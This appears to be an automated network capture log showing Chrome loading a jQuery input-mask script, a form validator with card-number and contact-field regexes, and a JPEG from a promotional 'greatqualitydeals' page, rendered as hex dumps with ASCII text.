2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 74 68 3b 65 6c 73 65 20 69 66 28 63 7c 7c 22 30 22 3d 3d 3d 63 29 62 3d 63 3b 72 65 74 75 72 6e 20 62 7d 63 61 74 63 68 28 64 29 7b 7d 7d 2c 73 65 74 43 61 72 65 74 3a 66 75 6e 63 74 69 6f 6e 28 71 29 7b 74 72 79 7b 69 66 28 61 2e 69 73 28 22 3a 66 6f 63 75 73 22 29 29 7b 76 61 72 20 62 2c 63 3d 61 2e 67 65 74 28 30 29 3b 63 2e 73 65 74 53 65 6c 65 63 74 69 6f 6e 52 61 6e 67 65 3f 63 2e 73 65 74 53 65 6c 65 63 74 69 6f 6e 52 61 6e 67 65 28 71 2c 71 29 3a 63 2e 63 72 65 61 74 65 54 65 78 74 52 61 6e 67 65 26 26 28 62 3d 63 2e 63 72 65 61 74 65 54 65 78 74 52 61 6e 67 65 28 29 2c 62 2e 63 6f 6c 6c 61 70 73 65 28 21 30 29 2c 62 2e 6d 6f 76 65 45 6e 64 28 22 63 68 61 72 61 63 74 65 72 22 2c 71 29 2c 62 2e 6d 6f 76 65 53 74 61 72 74 28 22 63 68 61 72 61 63 74 Data Ascii: th;else if(c\|\|"0"===c)b=c;return b}catch(d){}},setCaret:function(q){try{if(a.is(":focus")){var b,c=a.get(0);c.setSelectionRange?c.setSelectionRange(q,q):c.createTextRange&&(b=c.createTextRange(),b.collapse(!0),b.moveEnd("character",q),b.moveStart("charact
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 29 7b 76 61 72 20 63 3d 61 2e 69 73 28 22 69 6e 70 75 74 22 29 3f 22 76 61 6c 22 3a 22 74 65 78 74 22 3b 69 66 28 30 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 69 66 28 61 5b 63 5d 28 29 21 3d 3d 62 29 61 5b 63 5d 28 62 29 3b 63 3d 61 7d 65 6c 73 65 20 63 3d 61 5b 63 5d 28 29 3b 72 65 74 75 72 6e 20 63 7d 2c 67 65 74 4d 43 68 61 72 73 42 65 66 6f 72 65 43 6f 75 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 0d 0a 62 29 7b 66 6f 72 28 76 61 72 20 65 3d 30 2c 66 3d 30 2c 64 3d 63 2e 6c 65 6e 67 74 68 3b 66 3c 64 26 26 66 3c 61 3b 66 2b 2b 29 67 2e 74 72 61 6e 73 6c 61 74 69 6f 6e 5b 63 2e 63 68 61 72 41 74 28 66 29 5d 7c 7c 28 61 3d 62 3f 61 2b 31 3a 61 2c 65 2b 2b 29 3b 72 65 74 75 72 6e 20 65 7d 2c 63 61 72 65 74 50 6f 73 3a 66 75 6e 63 74 69 6f Data Ascii: ){var c=a.is("input")?"val":"text";if(0<arguments.length){if(a[c]()!==b)a[c](b);c=a}else c=a[c]();return c},getMCharsBeforeCount:function(a,b){for(var e=0,f=0,d=c.length;f<d&&f<a;f++)g.translation[c.charAt(f)]\|\|(a=b?a+1:a,e++);return e},caretPos:functio
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 2c 63 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 5b 61 5d 26 26 62 26 26 64 5b 61 5d 2e 61 70 70 6c 79 28 74 68 69 73 2c 63 29 7d 3b 6e 28 22 6f 6e 43 68 61 6e 67 65 22 2c 21 30 3d 3d 3d 6c 2c 66 29 3b 6e 28 22 6f 6e 4b 65 79 50 72 65 73 73 22 2c 21 30 3d 3d 3d 6c 2c 66 29 3b 6e 28 22 6f 6e 43 6f 6d 70 6c 65 74 65 22 2c 67 2e 6c 65 6e 67 74 68 3d 3d 3d 63 2e 6c 65 6e 67 74 68 2c 66 29 3b 6e 28 22 6f 6e 49 6e 76 61 6c 69 64 22 2c 30 3c 65 2e 69 6e 76 61 6c 69 64 2e 6c 65 6e 67 74 68 2c 5b 67 2c 62 2c 61 2c 65 2e 69 6e 76 61 6c 69 64 2c 64 5d 29 7d 7d 3b 67 2e 6d 61 73 6b 3d 63 3b 67 2e 6f 70 74 69 6f 6e 73 3d 64 3b 67 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 65 2e 67 65 74 43 61 72 65 74 28 29 3b Data Ascii: ,c){"function"===typeof d[a]&&b&&d[a].apply(this,c)};n("onChange",!0===l,f);n("onKeyPress",!0===l,f);n("onComplete",g.length===c.length,f);n("onInvalid",0<e.invalid.length,[g,b,a,e.invalid,d])}};g.mask=c;g.options=d;g.remove=function(){var b=e.getCaret();
2024-10-03 16:19:50 UTC	1331	IN	Data Raw: 63 26 26 28 63 3d 63 28 61 29 29 2c 22 6f 62 6a 65 63 74 22 21 3d 3d 74 79 70 65 6f 66 20 67 7c 7c 6b 28 67 2e 6f 70 74 69 6f 6e 73 29 21 3d 3d 6b 28 64 29 7c 7c 67 2e 6d 61 73 6b 21 3d 3d 63 7d 63 61 74 63 68 28 6c 29 7b 7d 7d 3b 62 2e 66 6e 2e 6d 61 73 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 63 3d 63 7c 7c 7b 7d 3b 76 61 72 20 64 3d 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 2c 67 3d 62 2e 6a 4d 61 73 6b 47 6c 6f 62 61 6c 73 2c 6b 3d 62 2e 6a 4d 61 73 6b 47 6c 6f 62 61 6c 73 2e 77 61 74 63 68 49 6e 74 65 72 76 61 6c 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 7a 28 74 68 69 73 2c 61 2c 63 29 29 72 65 74 75 72 6e 20 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6d 61 73 6b 22 2c 6e 65 77 20 79 28 74 68 69 73 2c 61 2c 63 29 29 7d 3b 62 28 74 68 69 Data Ascii: c&&(c=c(a)),"object"!==typeof g\|\|k(g.options)!==k(d)\|\|g.mask!==c}catch(l){}};b.fn.mask=function(a,c){c=c\|\|{};var d=this.selector,g=b.jMaskGlobals,k=b.jMaskGlobals.watchInterval,l=function(){if(z(this,a,c))return b(this).data("mask",new y(this,a,c))};b(thi
2024-10-03 16:19:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.16	49833	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:50 UTC	765	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/js/validator.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:50 UTC	755	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:50 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60155 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b1tCODglnxdUNoczyVYMpYwG4Uk4Ck0A1qY1qbYcp0bV0Q1%2BWQ3wiEQ9P%2F6Np8AEAlqOo6ZEbqhHN%2FFEXj3xGCUUIFw31p5kznq5PV7lAHgKGLtn5PAw1FwMGaMOdBeEyRcrPGcSUTqSpmuK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41927d234267-EWR
2024-10-03 16:19:50 UTC	614	IN	Data Raw: 31 31 62 39 0d 0a 27 75 73 65 20 73 74 72 69 63 74 27 0a 76 61 72 20 76 61 6c 69 64 61 74 6f 72 20 3d 20 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 2f 2a 2a 0a 20 20 20 20 52 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 73 20 66 6f 72 20 76 6c 69 64 61 74 69 6f 6e 73 0a 20 20 20 20 2a 2a 2f 0a 20 20 20 20 76 61 72 20 70 61 74 74 65 72 6e 73 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 7a 69 70 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 55 53 3a 20 2f 28 5e 5c 64 7b 35 7d 24 29 7c 28 5e 5c 64 7b 35 7d 2d 5c 64 7b 34 7d 24 29 2f 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 65 66 61 75 6c 74 3a 20 2f 5e 5b 61 2d 7a 41 2d 5a 30 2d 39 2d 5c 73 5d 2b 24 2f 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 65 6d 61 69 6c 3a 20 7b 0a 20 Data Ascii: 11b9'use strict'var validator = (function() { / Regular expressions for vlidations / var patterns = { zip: { US: /(^\d{5}$)\|(^\d{5}-\d{4}$)/, default: /^[a-zA-Z0-9-\s]+$/ }, email: {
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 20 20 20 20 63 61 72 64 4e 75 6d 62 65 72 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 69 73 61 3a 20 2f 5e 34 5b 30 2d 39 5d 7b 31 32 7d 28 3f 3a 5b 30 2d 39 5d 7b 33 7d 29 3f 24 2f 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 73 74 65 72 3a 20 2f 5e 28 3f 3a 35 5b 31 2d 35 5d 5b 30 2d 39 5d 7b 32 7d 7c 32 32 32 5b 31 2d 39 5d 7c 32 32 5b 33 2d 39 5d 5b 30 2d 39 5d 7c 32 5b 33 2d 36 5d 5b 30 2d 39 5d 7b 32 7d 7c 32 37 5b 30 31 5d 5b 30 2d 39 5d 7c 32 37 32 30 29 5b 30 2d 39 5d 7b 31 32 7d 24 2f 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 65 73 74 72 6f 3a 20 2f 5e 28 35 30 31 38 7c 35 30 32 30 7c 35 30 33 38 7c 35 36 31 32 7c 35 38 39 33 7c 36 33 30 34 7c 36 33 39 30 7c 36 37 35 39 7c 36 37 36 5b 31 2d 33 5d 7c 30 36 30 34 29 2f 2c 0a 20 20 Data Ascii: cardNumber: { visa: /^4[0-9]{12}(?:[0-9]{3})?$/, master: /^(?:5[1-5][0-9]{2}\|222[1-9]\|22[3-9][0-9]\|2[3-6][0-9]{2}\|27[01][0-9]\|2720)[0-9]{12}$/, maestro: /^(5018\|5020\|5038\|5612\|5893\|6304\|6390\|6759\|676[1-3]\|0604)/,
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 72 65 73 73 20 76 61 6c 69 64 61 74 6f 72 0a 20 20 20 20 20 20 20 20 20 2a 2a 2f 0a 20 20 20 20 20 20 20 20 69 73 56 61 6c 69 64 45 6d 61 69 6c 3a 20 66 75 6e 63 74 69 6f 6e 28 65 6d 61 69 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 70 61 74 74 65 72 6e 73 2e 65 6d 61 69 6c 2e 66 69 72 73 74 2e 74 65 73 74 28 65 6d 61 69 6c 29 20 26 26 20 70 61 74 74 65 72 6e 73 2e 65 6d 61 69 6c 2e 6c 61 73 74 2e 74 65 73 74 28 65 6d 61 69 6c 29 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 69 73 56 61 6c 69 64 50 68 6f 6e 65 3a 20 66 75 6e 63 74 69 6f 6e 28 70 68 6f 6e 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 70 61 74 74 65 72 6e 73 2e 70 68 6f 6e 65 2e 74 65 73 74 28 70 68 6f 6e 65 29 3b 0a 20 Data Ascii: ress validator **/ isValidEmail: function(email) { return patterns.email.first.test(email) && patterns.email.last.test(email); }, isValidPhone: function(phone) { return patterns.phone.test(phone);
2024-10-03 16:19:50 UTC	1193	IN	Data Raw: 20 66 75 6e 63 74 69 6f 6e 28 70 68 6f 6e 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 2f 5e 5c 64 7b 33 2c 34 7d 24 2f 2e 74 65 73 74 28 70 68 6f 6e 65 29 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 2f 2a 2a 0a 20 20 20 20 20 20 20 20 20 2a 20 43 61 72 64 20 4c 65 6e 67 74 68 20 50 72 6f 76 69 64 65 72 0a 20 20 20 20 20 20 20 20 20 2a 20 53 75 70 70 6f 72 74 20 56 69 73 61 2c 20 4d 61 73 74 65 72 2c 20 41 6d 65 78 2c 20 44 69 6e 65 72 2c 20 44 69 73 63 6f 76 65 72 2c 20 4a 63 62 0a 20 20 20 20 20 20 20 20 20 2a 20 40 70 61 72 61 6d 20 63 61 72 64 54 79 70 65 3a 20 41 20 73 74 72 69 6e 67 20 6f 66 20 43 61 72 64 20 54 79 70 65 0a 20 20 20 20 20 20 20 20 20 2a 2a 2f 0a 20 20 20 20 20 20 20 20 67 65 74 43 61 72 Data Ascii: function(phone) { return /^\d{3,4}$/.test(phone); }, /** * Card Length Provider * Support Visa, Master, Amex, Diner, Discover, Jcb * @param cardType: A string of Card Type **/ getCar
2024-10-03 16:19:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.16	49835	104.21.32.108	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:50 UTC	481	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/index/product-mc.jpg HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:50 UTC	707	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:50 GMT Content-Type: image/jpeg Content-Length: 82127 Connection: close Last-Modified: Tue, 10 Sep 2024 10:54:49 GMT Cache-Control: public, max-age=31536000, must-revalidate Expires: Thu, 02 Oct 2025 23:37:15 GMT CF-Cache-Status: HIT Age: 60155 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MUYao8gC%2FwJIXQfOmZcvF57gN4sDG0St6bty1K5JrlJcBwMyW5B6qhCkAkCkHZHELRzt0ytu0rBgf0Rx9HtWchuyobvdmoxcpg44BePDR0fCO5pUMhkZyTwKfWkoMdSXwjeJ7DR5f2qM%2BLI4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41927ec60cdd-EWR
2024-10-03 16:19:50 UTC	662	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 77 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 32 20 37 39 2e 66 33 35 34 65 66 63 37 30 2c 20 32 30 32 33 2f 31 31 2f 30 39 2d 31 32 3a 30 35 3a 35 33 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 Data Ascii: ExifII*Ducky<whttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 31 45 46 38 41 42 38 46 42 39 34 38 35 37 45 43 38 30 32 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 35 20 28 57 69 6e 64 6f 77 73 29 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 34 42 30 46 41 31 30 43 33 34 39 33 31 31 45 46 38 38 41 35 44 43 30 30 35 41 31 32 35 41 41 30 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 34 42 30 46 41 31 30 44 33 34 39 33 31 31 45 46 38 38 41 35 44 43 30 30 35 41 31 32 35 41 41 30 22 2f 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 Data Ascii: 1EF8AB8FB94857EC802" xmp:CreatorTool="Adobe Photoshop 25.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4B0FA10C349311EF88A5DC005A125AA0" stRef:documentID="xmp.did:4B0FA10D349311EF88A5DC005A125AA0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: c9 30 b5 99 6c 7c 73 b3 b6 5b 77 16 3b df b5 d5 0b 99 7f e3 b0 7f 64 a9 f8 9d 3b 1f 22 92 fb e3 5f c0 9e e0 bd 41 e1 3c 84 86 41 74 db 6b c7 f5 86 6a 43 21 3e f3 e1 77 de b8 79 3d 55 fb 3a b5 55 e6 8e de 37 6b 62 f6 89 d1 f9 32 40 fb 4b 88 7c 50 bb cc 67 5a 7e 2a 7e 83 f0 fb 17 3c e8 9e ad f2 02 bb 5f a3 86 84 1e f4 06 73 24 0e 15 08 0f 68 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 0f 12 48 18 2a 50 1a e9 ae a5 96 4f 2a 01 b9 e7 b0 77 77 a0 30 f2 97 f8 5e 3f 66 72 19 9b 96 b6 9f 28 3a d5 c3 b1 8c ea e2 b3 e3 e3 4e f4 b8 c1 55 98 32 32 61 66 3c a6 e8 8e 41 cb fd Data Ascii: 0l\|s[w;d;"_A<AtkjC!>wy=U:U7kb2@K\|PgZ~~<_s$h HPO*ww0^?fr(:NU22af<A
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 31 df 37 8b 77 e1 15 ec ec 5c 6b 5d d4 27 7b db a6 8d d1 48 ed 5e e9 27 0b 3c eb 56 95 5c 4d 17 09 e2 30 72 9b e9 71 ff 00 b4 59 63 78 d6 79 96 f1 be 32 f1 20 03 c4 01 0e 6d 08 fd 0b 73 3f 35 e3 c5 4b 8f 28 f8 fd 0d 3c 0c 25 91 27 1e 5c 65 e1 a6 e6 9b 23 8b be c7 64 a6 c6 5d 44 5b 79 04 9e 53 e2 1a 92 ea d0 6d a7 5d dd 8b 6e d5 e8 ce 0a 69 fa 59 a9 76 c4 a1 37 06 bd 48 91 72 be 04 fe 33 88 b1 b9 bf be 61 c8 de 80 ef d9 ad 67 89 82 95 71 73 f7 7e 1e 9d 3a ad 1c 3e c7 f3 13 92 8c 7d 31 fd a3 7b 33 ad fc bd b8 ca 52 f5 4b f6 48 92 e9 9c b0 80 20 08 0f 51 c9 24 52 32 58 dc 59 24 64 39 8f 69 a1 0e 06 a0 82 a1 a4 d5 19 29 b4 ea 8f a3 3d 3a e6 11 72 de 3e 60 bb 70 19 5b 40 1b 71 de 7b 1b 28 f7 f6 af 09 da e0 7e 5e e6 9f 64 b6 fe e3 de 75 59 ff 00 98 b7 af df 1d Data Ascii: 17w\k]'{H^'<V\M0rqYcxy2 ms?5K(<%'\e#d]D[ySm]niYv7Hr3agqs~:>}1{3RKH Q$R2XY$d9i)=:r>`p[@q{(~^duY
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 76 84 12 08 ec 04 1a 1f bd 70 ce e9 b3 ae 88 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 01 e8 80 d5 5e d6 59 9b 10 af 8c 86 e9 d4 6e 34 27 e0 35 40 73 2f 5f f3 45 96 f8 dc 2c 66 82 42 6e 66 03 f5 59 e1 60 fb 6a bd 37 c7 6c 6b 2b 8f f0 3c c7 c8 af d1 46 df f5 9c 5d 7a b3 ca 04 01 00 40 10 14 a8 ef 40 55 00 40 10 14 aa 01 50 80 aa 02 95 08 0a a0 29 54 05 50 04 01 00 40 4d bd 1e cd bb 19 cd ad 62 73 a9 16 40 1b 69 07 65 5d ab 3f ce 0b 93 dd 58 f7 31 db f1 8e a7 5f a5 bf ed e4 25 e1 2d 0e ff 00 70 3c ab f2 47 49 00 77 b2 a7 c2 40 ff 00 26 bf 15 e1 0f 76 6c 43 ab 11 3e c4 05 c4 01 00 40 10 0a a0 Data Ascii: vp ^Yn4'5@s/_E,fBnfY`j7lk+<F]z@@U@P)TP@Mbs@ie]?X1_%-p<GIw@&vlC>@
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: e1 de 47 7f 67 7d f9 b8 2c 8d c4 b1 de c2 ef 13 58 5c f7 37 cd 0d f7 68 f1 da 3d cb 36 7e 07 bf 6a 32 8f f1 22 95 3f bb fb 8c 38 3d 87 b3 7a 51 97 f0 e4 f5 3a 4e 27 88 b3 8e e3 79 5f d1 96 bf 0d 90 b5 fa 9c 7b da ea 90 1d 14 9b a3 f6 86 e9 b4 f6 82 b8 57 b3 7d f9 5a e5 f7 c6 54 7f a5 6a 77 6c e1 fb 11 bb c7 ec 92 aa fd 0f 42 1b fb be 7f e2 4c 9f fe e6 df f9 d0 ba df 23 fe 14 7f d5 ff 00 03 93 f1 cf e2 4b fd 3f f1 47 3e c8 63 72 47 23 76 45 a4 e4 19 e5 20 f9 4f fd 73 ec 5d ab 57 61 c5 6a b6 5e 27 1a f5 89 f3 7e 97 bf 91 8f 6b 77 7d 8c be 8a ea 02 e8 2f 2d 1e 24 8c 90 43 9a f6 9a 8a 82 af 38 46 e4 5c 5e b1 66 28 4e 56 e6 9a d2 48 ec be ad e7 ef cf 02 c3 c9 11 6c 07 38 22 75 f8 60 f9 81 84 48 58 0f 5a 57 4f 72 f2 dd 36 34 7f 33 3a eb ed d6 9f a6 87 aa ed f2 Data Ascii: Gg},X\7h=6~j2"?8=zQ:N'y_{W}ZTjwlBL#K?G>crG#vE Os]Waj^'~kw}/-$C8F\^f(NVHl8"u`HXZWOr643:
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: e6 3b f4 2d 23 74 ce 40 10 02 80 a2 02 a8 02 00 80 20 08 05 10 0a 20 01 00 40 10 14 40 56 a8 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 01 54 01 00 aa 02 85 c0 75 d0 04 05 89 6f ad e3 f9 9d af 70 ea 80 d6 de f2 4b 5b 66 97 cb 23 22 60 15 dd 23 9a df d2 50 10 cc c7 ad 3c 2b 1e fd b7 19 a8 1a ea d0 86 12 ed 7e 01 01 a2 cd 7e f0 9c 2a da c1 d3 41 7a 6f a5 3a 47 6d 18 2d 2e 3e dd c0 68 80 e2 1c c7 d6 ae 63 c8 2a d8 65 36 16 26 a1 91 40 48 14 f6 bb bd 01 ce 6e 6e a6 99 ce 74 b2 99 1e 75 25 c7 71 24 fb d1 88 c6 a6 be e6 47 38 10 0e 84 8d 6b d8 14 50 2a 18 d5 3a 97 69 ee 52 90 a1 5d ee 0e 14 24 16 e9 b8 12 0e aa 68 0b ac ba 9d a7 e7 73 87 f2 89 3f a5 56 a3 53 63 8e bf c6 49 2e dc 8f 9a 1a 7e 52 c3 a7 c5 5d 17 82 4d 93 2c 6d 8f 0d b8 89 a2 19 04 a4 9d 43 dd Data Ascii: ;-#t@ @@V TuopK[f#"`#P<+~~Azo:Gm-.>hce6&@Hnntu%q$G8kP*:iR]$hs?VScI.~R]M,mC
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 47 50 9f b5 6a 5d 8b 47 a6 c2 ce b1 77 d2 d1 29 b4 e6 3c ae dc d2 2c 9c ec a7 f2 89 fb 6a b5 bd f6 b4 3d 0c 7a bb 13 5b 1b eb 2f 56 f9 75 a8 6f 9b 7b 1c cd 1d 44 81 ba fb ca c9 1c 96 68 df e8 6c 3d 95 09 0e 3f d7 d1 1d 1b 7d 0c 24 f6 ba 29 07 e8 25 66 8e 41 c9 bd f1 c7 bc 59 2e c5 fa e9 c3 ae 18 03 af 5d 6e ee d0 f1 51 f6 85 97 f3 0b cc e5 dc e8 af 2d b5 24 d8 cf 53 b8 c5 ed 1b 6f 95 b7 7b bf 51 cf 6b 4f d8 b2 2b 89 f8 9a 37 3a fb d0 dd 12 4b 7c ed b4 ad 0e a8 2d ef 69 a8 57 52 46 a4 a1 28 ee a8 66 b6 ea 09 9b 56 3e be c5 6a 15 5a 98 33 b8 45 75 1c d5 d1 ae 04 93 d0 03 e1 71 ff 00 25 c5 01 c9 bd 7f c3 98 f2 58 fc b3 1b e0 9e 37 5b ca ef e5 30 ee 6d 7e 05 7a cf 8e df ac 25 0f 2d 4f 27 f2 2b 14 94 67 e7 a1 c9 57 a5 3c c8 40 10 1d 0b d1 3e 37 61 97 e4 d3 5c Data Ascii: GPj]Gw)<,j=z[/Vuo{Dhl=?}$)%fAY.]nQ-$So{QkO+7:K\|-iWRF(fV>jZ3Euq%X7[0m~z%-O'+gW<@>7a\
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 53 a1 1d 85 66 53 4c e3 ce d4 a3 b8 60 04 9a 95 35 28 a4 99 ed b5 26 a0 7b 95 a8 5a ad 6c 5e 8c 96 f8 ba 12 89 91 ae e5 b9 9b 13 cd 1c d0 5c 7b 54 b6 20 cf 10 09 ed c8 92 12 37 b0 ee 07 da a9 28 d4 bd ab ce dc ea 48 f1 7c 8d b7 07 ca bf 7b a3 97 a8 70 e8 47 b5 68 ce c5 59 ed 30 7b d4 a3 a9 98 73 d8 a6 1f 04 06 60 34 d4 f5 58 bf 2e 5e e7 7c ab a2 a9 7e df 90 61 dc 40 7c 1e 49 27 ba a1 59 d8 d0 c9 63 ba 8c 9e aa 86 e2 27 da bd 9b e1 d8 e0 7a 11 45 ad 2b 4c ef 62 64 db b8 b4 28 d9 18 0e 8c 0d 77 63 81 d7 ee 51 c9 c4 da 76 e1 25 aa 37 78 7e 65 c8 b1 12 09 2c af 64 6b 5b f8 1c 6a cf 88 2b 24 6f b3 9f 7f a9 b3 75 6b 12 6f 85 f5 ef 21 11 0c ca da 36 70 3e 69 a1 3b 4f f9 3a ac f0 cc 67 9e c8 f8 c6 be 86 4e 71 3e aa 60 32 c0 6d 98 c3 21 eb 14 c2 95 af c5 6d c3 21 Data Ascii: SfSL`5(&{Zl^\{T 7(H\|{pGhY0{s`4X.^\|~a@\|I'Yc'zE+Lbd(wcQv%7x~e,dk[j+$ouko!6p>i;O:gNq>`2m!m!
